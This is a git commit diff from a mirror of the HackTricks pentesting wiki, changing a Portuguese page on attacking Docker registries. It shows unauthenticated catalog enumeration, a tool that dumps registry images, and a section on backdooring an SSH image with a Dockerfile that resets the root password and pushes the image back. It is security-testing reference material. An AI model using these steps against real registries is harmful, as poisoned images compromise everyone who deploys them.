mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 14:38:27 +00:00
Translated ['network-services-pentesting/5000-pentesting-docker-registry
This commit is contained in:
parent
6651b28b2b
commit
e200b0b036
1 changed files with 59 additions and 22 deletions
|
@ -1,4 +1,4 @@
|
|||
# 5000 - Testando o Registro do Docker
|
||||
# 5000 - Testando a segurança do Registro Docker
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -16,9 +16,9 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
## Informações Básicas
|
||||
|
||||
Um sistema de armazenamento e distribuição conhecido como **registro do Docker** está em vigor para imagens do Docker que são nomeadas e podem ter várias versões, diferenciadas por tags. Essas imagens são organizadas dentro de **repositórios do Docker** no registro, cada repositório armazenando várias versões de uma imagem específica. A funcionalidade fornecida permite que as imagens sejam baixadas localmente ou enviadas para o registro, desde que o usuário tenha as permissões necessárias.
|
||||
Um sistema de armazenamento e distribuição conhecido como **registro Docker** está em vigor para imagens Docker que são nomeadas e podem ter várias versões, diferenciadas por tags. Essas imagens são organizadas dentro de **repositórios Docker** no registro, cada repositório armazenando várias versões de uma imagem específica. A funcionalidade fornecida permite que as imagens sejam baixadas localmente ou enviadas para o registro, desde que o usuário tenha as permissões necessárias.
|
||||
|
||||
O **DockerHub** serve como o registro público padrão para o Docker, mas os usuários também têm a opção de operar uma versão local do registro/distribuição do Docker de código aberto ou optar pelo **Docker Trusted Registry** com suporte comercial. Além disso, vários outros registros públicos podem ser encontrados online.
|
||||
**DockerHub** serve como o registro público padrão para o Docker, mas os usuários também têm a opção de operar uma versão local do registro/distribuição Docker de código aberto ou optar pelo **Docker Trusted Registry** com suporte comercial. Além disso, vários outros registros públicos podem ser encontrados online.
|
||||
|
||||
Para baixar uma imagem de um registro local, o seguinte comando é usado:
|
||||
```bash
|
||||
|
@ -40,8 +40,8 @@ A maneira mais fácil de descobrir este serviço em execução é obtê-lo na sa
|
|||
- Se você acessar `/`, nada será retornado na resposta
|
||||
- Se você acessar `/v2/`, então `{}` é retornado
|
||||
- Se você acessar `/v2/_catalog`, você pode obter:
|
||||
- `{"repositories":["alpine","ubuntu"]}`
|
||||
- `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
||||
- `{"repositories":["alpine","ubuntu"]}`
|
||||
- `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
||||
|
||||
## Enumeração
|
||||
|
||||
|
@ -75,13 +75,61 @@ curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
|||
```
|
||||
### Enumeração usando DockerRegistryGrabber
|
||||
|
||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) é uma ferramenta em python para enumerar / fazer dump do registro do docker (sem autenticação ou com autenticação básica)
|
||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) é uma ferramenta em Python para enumerar / extrair registros do Docker (sem autenticação ou com autenticação básica)
|
||||
```bash
|
||||
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
|
||||
|
||||
____ ____ ____
|
||||
| _ \ | _ \ / ___|
|
||||
| | | || |_) || | _
|
||||
| |_| || _ < | |_| |
|
||||
|____/ |_| \_\ \____|
|
||||
Docker Registry grabber tool v2
|
||||
by @SyzikSecu
|
||||
|
||||
positional arguments:
|
||||
url URL
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
-p port port to use (default : 5000)
|
||||
|
||||
Authentication:
|
||||
-U USERNAME Username
|
||||
-P PASSWORD Password
|
||||
-A header Authorization bearer token
|
||||
|
||||
Actions:
|
||||
--list
|
||||
--dump_all
|
||||
--dump DOCKERNAME DockerName
|
||||
|
||||
Example commands:
|
||||
python drg.py http://127.0.0.1 --list
|
||||
python drg.py http://127.0.0.1 --dump my-ubuntu
|
||||
python drg.py http://127.0.0.1 --dump_all
|
||||
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
|
||||
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
|
||||
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
|
||||
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
|
||||
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
|
||||
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all
|
||||
|
||||
python3 DockerGraber.py http://127.0.0.1 --list
|
||||
|
||||
[+] my-ubuntu
|
||||
[+] my-ubuntu2
|
||||
|
||||
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
|
||||
|
||||
[+] blobSum found 5
|
||||
[+] Dumping my-ubuntu
|
||||
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
||||
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
||||
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
||||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||
|
||||
python3 DockerGraber.py http://127.0.0.1 --dump_all
|
||||
|
||||
[+] my-ubuntu
|
||||
|
@ -100,17 +148,6 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
|
|||
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
||||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||
|
||||
|
||||
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
|
||||
|
||||
[+] blobSum found 5
|
||||
[+] Dumping my-ubuntu
|
||||
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
||||
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
||||
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
||||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||
```
|
||||
### Enumeração usando curl
|
||||
|
||||
|
@ -228,7 +265,7 @@ docker push registry:5000/wordpress #Push it
|
|||
```
|
||||
### Instalando um backdoor no servidor SSH image
|
||||
|
||||
Suponha que você encontrou um Registro Docker com uma imagem SSH e deseja instalar um backdoor nela.\
|
||||
Suponha que você encontrou um Registro Docker com uma imagem SSH e deseja instalar um backdoor nele.\
|
||||
**Baixe** a imagem e **execute**:
|
||||
```bash
|
||||
docker pull 10.10.10.10:5000/sshd-docker-cli
|
||||
|
@ -249,7 +286,7 @@ FROM 10.10.10.10:5000/sshd-docker-cli
|
|||
COPY sshd_config /etc/ssh/
|
||||
RUN echo root:password | chpasswd
|
||||
```
|
||||
**Criar** a nova imagem, **verificar** se foi criada e **enviá-la**:
|
||||
**Criar** a nova imagem, **verificar** se foi criada e **enviar**:
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/sshd-docker-cli .
|
||||
#Create
|
||||
|
@ -265,10 +302,10 @@ docker push registry:5000/sshd-docker-cli #Push it
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue